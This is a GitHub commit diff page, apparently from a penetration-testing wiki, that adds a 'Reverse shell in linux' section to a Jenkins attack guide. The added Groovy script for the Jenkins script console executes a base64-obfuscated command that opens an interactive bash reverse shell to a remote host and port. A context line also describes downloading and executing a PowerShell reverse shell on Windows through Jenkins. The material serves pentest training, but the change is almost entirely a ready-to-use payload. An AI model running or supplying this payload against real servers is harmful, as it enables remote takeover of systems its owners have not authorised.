Skip to content

Commit 428b653

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] one page modified
1 parent b66373f commit 428b653

File tree

1 file changed

+10
-0
lines changed

1 file changed

+10
-0
lines changed

pentesting/pentesting-web/jenkins.md

+10
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,16 @@ proc.waitForOrKill(1000)
8787
println "out> $sout err> $serr"
8888
```
8989

90+
### Reverse shell in linux
91+
92+
```python
93+
def sout = new StringBuffer(), serr = new StringBuffer()
94+
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
95+
proc.consumeProcessOutput(sout, serr)
96+
proc.waitForOrKill(1000)
97+
println "out> $sout err> $serr"
98+
```
99+
90100
### Reverse shell in windows
91101

92102
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:

0 commit comments

Comments
 (0)